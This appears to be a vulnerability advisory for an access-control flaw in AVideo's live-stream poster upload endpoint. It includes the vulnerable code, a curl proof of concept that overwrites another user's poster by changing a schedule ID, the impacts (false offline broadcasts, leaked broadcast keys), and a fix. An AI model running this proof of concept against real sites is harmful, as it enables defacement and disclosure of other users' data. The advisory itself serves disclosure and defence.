AVideo: IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications

Summary

The plugin/Live/uploadPoster.php endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary live_schedule_id. The endpoint only checks User::isLogged() but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a socketLiveOFFCallback notification containing the victim's broadcast key and user ID to all connected WebSocket clients.

Details

The vulnerable endpoint at plugin/Live/uploadPoster.php accepts a live_schedule_id from $_REQUEST and uses it to determine poster file paths and trigger socket notifications without ownership validation.

Entry point — attacker-controlled input (line 11-12):

$live_servers_id = intval($_REQUEST['live_servers_id']);
$live_schedule_id = intval($_REQUEST['live_schedule_id']);

Insufficient auth check (line 14-17):

if (!User::isLogged()) {
    $obj->msg = 'You cant edit this file';
    die(json_encode($obj));
}

This only verifies the user is logged in. There is no check that User::getId() matches the schedule owner's users_id.

Poster path resolved by ID alone (line 40-42):

$paths = Live_schedule::getPosterPaths($live_schedule_id, 0);
$obj->file = str_replace($global['systemRootPath'], '', $paths['path']);
$obj->fileThumbs = str_replace($global['systemRootPath'], '', $paths['path_thumbs']);

getPosterPaths() is a static method that constructs file paths purely from the numeric ID with no authorization.

Attacker's file overwrites victim's poster (line 48):

if (!move_uploaded_file($_FILES['file_data']['tmp_name'], $tmpDestination)) {

Broadcast to all WebSocket clients (line 67-73):

if (!empty($live_schedule_id)) {
    $ls = new Live_schedule($live_schedule_id);
    $array = setLiveKey($ls->getKey(), $ls->getLive_servers_id());
    $array['users_id'] = $ls->getUsers_id();
    $array['stats'] = getStatsNotifications(true);
    Live::notifySocketStats("socketLiveOFFCallback", $array);
}

The Live_schedule constructor (inherited from ObjectYPT) loads data by ID with no auth checks. Live::notifySocketStats() calls sendSocketMessageToAll() which broadcasts to every connected WebSocket client.

Notably, the parallel endpoints DO have ownership checks:

• plugin/Live/view/Live_schedule/uploadPoster.php (line 18-21) checks $row->getUsers_id() != User::getId()
• plugin/Live/uploadPoster.json.php (line 24-27) checks User::isAdmin() || $row->getUsers_id() == User::getId()

This proves the missing check in uploadPoster.php is an oversight, not by-design.

PoC

# Step 1: Log in as a low-privilege user to get a session cookie
curl -c cookies.txt -X POST 'https://target.com/objects/login.json.php' \
  -d 'user=attacker@example.com&pass=attackerpassword'

# Step 2: Overwrite the poster for live_schedule_id=1 (owned by a different user)
curl -b cookies.txt \
  -F 'file_data=@malicious.jpg' \
  -F 'live_schedule_id=1' \
  -F 'live_servers_id=0' \
  'https://target.com/plugin/Live/uploadPoster.php'

# Expected: 403 or ownership error
# Actual: {} (success) — poster overwritten, socketLiveOFFCallback broadcast sent

# Step 3: Verify the poster was replaced
curl -o - 'https://target.com/videos/live_schedule_posters/schedule_1.jpg' | file -
# Output confirms attacker's image now serves as the victim's poster

# The socketLiveOFFCallback broadcast (received by all WebSocket clients) contains:
# { "key": "<victim_broadcast_key>", "users_id": <victim_user_id>, "stats": {...} }

Schedule IDs are sequential integers and can be enumerated trivially.

Impact

1. Content tampering: Any authenticated user can overwrite poster images on any scheduled live stream. This enables defacement or phishing (e.g., replacing a poster with a malicious redirect image).
2. False offline notifications: The socketLiveOFFCallback broadcast misleads all connected viewers into thinking the victim's stream went offline, disrupting the victim's audience.
3. Information disclosure: The broadcast leaks the victim's users_id and broadcast key to all connected WebSocket clients.
4. Enumerable targets: Schedule IDs are sequential integers, so an attacker can trivially enumerate and target all scheduled streams.

Recommended Fix

Add an ownership check after the login verification at line 17 in plugin/Live/uploadPoster.php:

if (!User::isLogged()) {
    $obj->msg = 'You cant edit this file';
    die(json_encode($obj));
}

// Add ownership check for scheduled live streams
if (!empty($live_schedule_id)) {
    $ls = new Live_schedule($live_schedule_id);
    if ($ls->getUsers_id() != User::getId() && !User::isAdmin()) {
        $obj->msg = 'Not authorized';
        die(json_encode($obj));
    }
}

This mirrors the existing authorization pattern already used in uploadPoster.json.php (line 24) and view/Live_schedule/uploadPoster.php (line 18).